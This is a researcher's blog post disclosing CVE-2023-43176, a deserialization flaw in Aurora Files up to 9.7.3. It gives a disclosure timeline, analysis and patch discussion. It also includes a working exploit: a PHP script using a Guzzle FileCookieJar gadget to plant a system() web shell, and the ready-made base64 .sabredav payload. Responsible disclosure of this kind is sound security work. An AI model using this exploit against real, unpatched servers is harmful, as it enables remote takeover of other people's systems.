Lorenzo Leonardini's security blog

CVE-2023-43176: Remote Code Execution on Aurora Files <= 9.7.3


Aurora Files is an “open source file storage and sharing platform” developed by Afterlogic. This blog posts revolves around a vulnerability I found, assigned CVE-2023-43176, that allows an attacker to perform remote code execution on the server by uploading a malicious .sabredav file containing a serialized PHP object.

Overview

Aurora Files is an open source cloud storage solution that allows you to upload and manage files and share them with other users. It’s designed as a basic framework paired with many separate modules that implement every small feature of the platform. Such modules include, among others: the main web UI, an administrative API, basic file storage, end-to-end encrypted storage, and S3-based storage. Aurora is therefore completely modular and can be expanded and/or modified as one sees fit.

In order to offer its functionality to third-party clients, Aurora supports the WebDAV protocol, and exposes a WebDAV server. In fact, Aurora uses WebDAV to manage files internally as well. The protocol and its functionality is offered via the famous SabreDAV PHP library. We will come back to this very shortly.

During recent testings I found a vulnerability that allows any authenticated user to perform remote code execution on the server. What follows is a brief timeline of the events:

September, 1st 2023
I contacted Afterlogic reporting the vulnerability
September, 4th 2023
I received an initial response aknowledging the report
September, 4th 2023
A first (broken) patch is pushed on Afterlogic’s GitHub
September, 6th 2023
I received a second email confirming the vulnerability and presenting the patch
September, 8th 2023
The broken patch gets fixed
September, 9th 2023
I sent a request to MITRE to reserve a CVE number for this vulnerability
September, 12th 2023
Version 9.7.4 was released, containing the patch
September, 25th 2023
MITRE reserved CVE ID CVE-2023-43176 for this vulnerability

The vuln

As I introduced before, Aurora Files uses SabreDAV to internally manage files. In particular, each user has one or more folders containing their personal files, each of them structured exactly as you see them in the web interface, with all the subfolders you decide to create and use to manage your files.

To store and manage metadata, each folder contains a special hidden file, named .sabredav, containing all the information of all the files contained in that folder. Such information include basic properties such as the file owner, as well as extended properties added and managed by the different file storage modules. All this data is stored as a serialized PHP object.

a:2:{s:13:"test-file.txt";a:1:{s:10:"properties";a:2:{s:5:"Owner";s:17:"email@example.com";s:13:"ExtendedProps";a:0:{}}}s:21:"another-test-file.png";a:1:{s:10:"properties";a:2:{s:5:"Owner";s:17:"email@example.com";s:13:"ExtendedProps";a:0:{}}}}

What I noticed during testing is that empty folders don’t have a .sabredav file, as it gets created only after you upload the first file. This made me wonder whether it was possible to upload a custom .sabredav file in an empty folder. Turns out, it sure is! Further testing revealed that the custom .sabredav file gets in fact deserialized by the server, in order to attempt to read all the folder’s files metadata.

After having confirmed I had arbitrary object deserialization, I just needed to find out what I could do with that. As many other modern PHP projects, Aurora Files uses Composer to manage its dependencies, and makes use of an autoloader to automatically import files and classes. This means that we can use gadgets from any library.

One of Aurora’s dependencies is Guzzle, a PHP HTTP client, that among its classes has a FileCookieJar that defines a __destruct method we can exploit to gain arbitrary file write:

/**
 * Saves the file when shutting down
 */
public function __destruct()
{
    $this->save($this->filename);
}

/**
 * Saves the cookies to a file.
 *
 * @param string $filename File to save
 *
 * @throws \RuntimeException if the file cannot be found or created
 */
public function save(string $filename): void
{
    $json = [];
    /** @var SetCookie $cookie */
    foreach ($this as $cookie) {
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = Utils::jsonEncode($json);
    if (false === \file_put_contents($filename, $jsonStr, \LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

With this we can write a PHP backdoor in the root directory, allowing us to gain arbitrary remote code execution on the server. The following script generates a malicious .sabredav file, with a standard <?php system($_GET['command']); ?> payload:

$cookie = new \GuzzleHttp\Cookie\SetCookie([
    'Name' => 'custom', 
    'Domain' => 'example.com', 
    'Value' => 'asd', 
    'Discard' => false, 
    'custom' => '<?php system($_GET[\'command\']); ?>'
]);

$jar = new \GuzzleHttp\Cookie\FileCookieJar('./backdoor.php', true);
$jar->setCookie($cookie);

file_put_contents(".sabredav", serialize($jar));

Here is the malicious .sabredav file itself, base64-encoded due to it containing null-bytes:

TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YToxMDp7czo0OiJOYW1lIjtzOjY6ImN1c3RvbSI7czo1OiJWYWx1ZSI7czozOiJhc2QiO3M6NjoiRG9tYWluIjtzOjExOiJleGFtcGxlLmNvbSI7czo0OiJQYXRoIjtzOjE6Ii8iO3M6NzoiTWF4LUFnZSI7TjtzOjc6IkV4cGlyZXMiO047czo2OiJTZWN1cmUiO2I6MDtzOjc6IkRpc2NhcmQiO2I6MDtzOjg6Ikh0dHBPbmx5IjtiOjA7czo2OiJjdXN0b20iO3M6MzQ6Ijw/cGhwIHN5c3RlbSgkX0dFVFsnY29tbWFuZCddKTsgPz4iO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7YjowO3M6NDE6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAGZpbGVuYW1lIjtzOjE0OiIuL2JhY2tkb29yLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30=

After uploading the malicious .sabredav file we can finally test the backdoor:

Testin the backdoor with the Linux id command

The patch

The easiest fix for this vulnerability is to blacklist the upload of any files named .sabredav. At the same time, proper checks need to be put in place when renaming or moving files around, in order to stop attackers from baing able to write malicious .sabredav files. This is the approach adopted to fix the vulnerability in Aurora Files 9.7.4 (first commit, second commit).

However, such a patch should only be considered temporary, as future changes and updates to the codebase might introduce ways to bypass these filters. The optimal solution would be to completely remove PHP object serialization and deserialization, as file metadata might be easily stored in a JSON file or database. Afterlogic agreed with me and informed me their long-term plan is to remove the .sabredav file entirely in favour of a database.

Conclusions

If you are using Aurora Files <= 9.7.3 it is extremely important to update your installation to the latest version. I believe Afterlogic deserves to be praised for how quickly they have been responding to my emails, as they never took more than a business day to get back to me. Properly handling security issues is of extreme importance and being able to quickly discuss and solve such issues is really fundamental in order to keep products secure. The only thing I feel I should criticize is the absence of any reference to this issue in the latest changelog: users should be informed of security fixes in order to properly update and keep their installations safe.

All in all, my first CVE experience went pretty smoothly!